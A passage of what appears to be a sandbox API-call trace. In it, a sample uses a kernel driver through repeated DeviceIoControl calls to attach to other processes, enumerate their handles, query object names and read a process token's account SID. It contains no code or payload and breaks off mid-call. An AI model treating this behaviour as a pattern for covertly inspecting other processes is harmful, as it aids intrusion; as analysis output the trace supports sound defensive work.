DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.034] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.034] PsAcquireProcessExitSynchronization () returned 0x0 [0137.034] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.034] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0137.034] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.034] PsReleaseProcessExitSynchronization () returned 0x2 [0137.034] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.034] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.034] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0137.034] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.034] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.034] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.034] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.034] PsAcquireProcessExitSynchronization () returned 0x0 [0137.034] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.034] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0137.034] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.034] PsReleaseProcessExitSynchronization () returned 0x2 [0137.034] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.035] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.035] ObfDereferenceObject (Object=0xfffffa8003277b70) returned 0x1 [0137.035] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.035] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.035] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.035] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.035] PsAcquireProcessExitSynchronization () returned 0x0 [0137.035] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.035] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0137.035] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.035] PsReleaseProcessExitSynchronization () returned 0x2 [0137.035] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.035] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.035] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0137.035] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.035] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.035] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.035] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.035] PsAcquireProcessExitSynchronization () returned 0x0 [0137.035] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.035] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.035] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.035] PsReleaseProcessExitSynchronization () returned 0x2 [0137.035] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.035] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.035] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.035] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.035] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.035] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.035] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.035] PsAcquireProcessExitSynchronization () returned 0x0 [0137.035] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.036] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.036] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.036] PsReleaseProcessExitSynchronization () returned 0x2 [0137.036] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.036] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.036] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.036] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.036] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.036] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0137.036] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.036] PsAcquireProcessExitSynchronization () returned 0x0 [0137.036] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.036] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0137.036] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.036] PsReleaseProcessExitSynchronization () returned 0x2 [0137.036] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.036] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.036] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0137.036] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.036] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.036] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0137.036] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.036] PsAcquireProcessExitSynchronization () returned 0x0 [0137.036] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054735d0) [0137.036] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0137.036] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.036] PsReleaseProcessExitSynchronization () returned 0x2 [0137.036] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0137.036] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.036] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0137.036] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.036] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.037] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0137.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.037] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0137.037] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.037] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0137.037] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.037] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.037] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.037] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.037] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.038] CloseHandle (hObject=0xc8) returned 1 [0137.038] CloseHandle (hObject=0xc0) returned 1 [0137.038] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.038] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.038] PsAcquireProcessExitSynchronization () returned 0x0 [0137.038] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.038] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0137.039] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.039] PsReleaseProcessExitSynchronization () returned 0x2 [0137.039] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.039] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.039] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0137.039] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.039] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.039] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.039] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.039] PsAcquireProcessExitSynchronization () returned 0x0 [0137.039] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.039] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0137.039] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.039] PsReleaseProcessExitSynchronization () returned 0x2 [0137.039] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.039] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.039] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0137.039] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.039] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.039] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.039] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.039] PsAcquireProcessExitSynchronization () returned 0x0 [0137.039] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.039] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.039] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.039] PsReleaseProcessExitSynchronization () returned 0x2 [0137.039] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.039] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.039] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.039] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.039] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.039] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.040] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.040] PsAcquireProcessExitSynchronization () returned 0x0 [0137.040] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.040] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.040] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.040] PsReleaseProcessExitSynchronization () returned 0x2 [0137.040] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.040] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.040] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.040] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.040] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.040] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.040] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.040] PsAcquireProcessExitSynchronization () returned 0x0 [0137.040] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.040] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.040] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.040] PsReleaseProcessExitSynchronization () returned 0x2 [0137.040] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.040] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.040] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.040] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.040] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.040] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0137.040] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.040] PsAcquireProcessExitSynchronization () returned 0x0 [0137.040] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.040] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0137.040] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.040] PsReleaseProcessExitSynchronization () returned 0x2 [0137.040] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.040] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.040] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0137.040] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.041] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.041] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0137.041] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.041] PsAcquireProcessExitSynchronization () returned 0x0 [0137.041] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.041] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0137.041] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.041] PsReleaseProcessExitSynchronization () returned 0x2 [0137.041] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.041] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.041] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0137.041] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.041] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.041] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0137.041] PsLookupProcessByProcessId (in: ProcessId=0x4a8, 